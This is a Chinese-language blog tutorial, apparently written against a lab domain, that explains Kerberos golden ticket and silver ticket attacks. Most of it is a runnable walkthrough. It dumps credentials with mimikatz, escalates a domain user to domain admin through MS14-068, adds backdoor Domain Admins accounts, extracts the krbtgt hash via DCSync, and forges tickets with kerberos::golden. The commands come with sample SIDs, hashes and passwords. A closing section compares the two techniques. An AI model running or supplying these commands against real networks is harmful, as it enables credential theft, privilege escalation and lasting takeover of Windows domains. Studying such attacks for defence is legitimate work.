黄金票据和白银票据攻击及其原理介绍

票据传递攻击

这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET

另外,学习过Kerberos认证过程的同学会更加容易的理解两种票据攻击的原理,没有看过Kerberos认证的同学,我推荐还是去看看我之前写的Kerberos认证过程

相关应用

Ms14-068
PSexec
mimikatz

金票Golden ticket

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与AS进行交互,需要用户krbtgt的Hash

具体操作介绍

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地administrator用户登录域内的一个主机中。

通过命令:net config workstation,可知域名为:cyberpeace和其他信息。

通过命令:nltest /dsgetdc:域名,可知DC主机名为:scene。

上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的log.txt可以看到有一个域内用户devuser,且密码是HOTdev123456

使用用户devuser登录到域内,whoami查看下当前用户为devuser:

这里利用MS14-068来提权,先检查下是否有MS14-068, CVE编号CVE-2014-6324,补丁为 3011780 : systeminfo |find "3011780",如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

执行:dir \scene.cyberpeace.com\c$,提醒权限不够:

上传mimikatz和MS14-068提权工具,whoami /user或者whoami/all查看devuser用户的suid:

使用MS14-068伪造票据:
执行命令:C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-9 7341123-1865264218-933115267-1108 -d scene.cyberpeace.com,会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 

使用mimikatz清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址

再输入dir \\scene.cyberpeace.com\c$,发现访问成功,现在我们有域管的权限:

添加域管用户aaa:

net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain

二、伪造金票

伪造金票的所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名

登录aaa域管用户,执行whoami可以看到是aaa用户:

使用一下命令导出用户krbtgt的hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

再执行以下命令可以看到krbtgt用户的SID:

利用mimikatz生成金票生成.kirbi文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称    //不是写入内存中的命令!

三,金票的使用(普通域账户,利用黄金票据,创建域管账户)

登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。

mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi

此时尝试创建一个ccc的域管账号,命令执行成功:


银票SILVER TICKET

原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

特点

1.不需要与KDC进行交互 2.需要server的NTLM hash

具体操作介绍

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地administrator用户登录域内的一个主机中。

通过命令:net config workstation,可知域名为:cyberpeace和其他信息

通过命令:nltest /dsgetdc:域名,可知DC主机名为:scene。

上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的log.txt可以看到有一个域内用户Hellen,且密码是Hellen1818

使用用户Hellen登录到域内,whoami查看下当前用户为Hellen:

同样先检查下是否有MS14-068漏洞

执行:dir \scene.cyberpeace.com\c$,提醒权限不够:

上传mimikatz和MS14-068提权工具,whoami /user或者whoami/all查看devuser用户的suid:

使用MS14-068伪造票据:
执行命令:MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com,会在当前目录下生成一个凭证。

使用方法:

ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址

使用mimikatz清空之前缓存的凭证,导入伪造的凭证:

mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址

再输入dir \\scene.cyberpeace.com\c$,发现访问成功,现在我们有域管的权限:

添加域管用户ccc:

net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain

二、伪造银票

登录上面创建的域管用户,用管理员权限打开CMD,cd 到 mimikatz 存放的目录,去执行mimikatz的命令,得到SID和NTLM,

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

把HASH文件保存到本地,在重新登录到域内机器的本地账户,将hash文件和mimikatz复制进去:
先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造


测试一下,成功执行dir \\scene.cyberpeace.com\c$ ,并且可以创建域管账号:

金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密


至此,金银票据的介绍就结束了,谢谢观看,若有疑问请留言,若有错误请指教。

推荐我的另一篇内网渗透的文章:内网渗透


大佬随手给个赞呗 0.0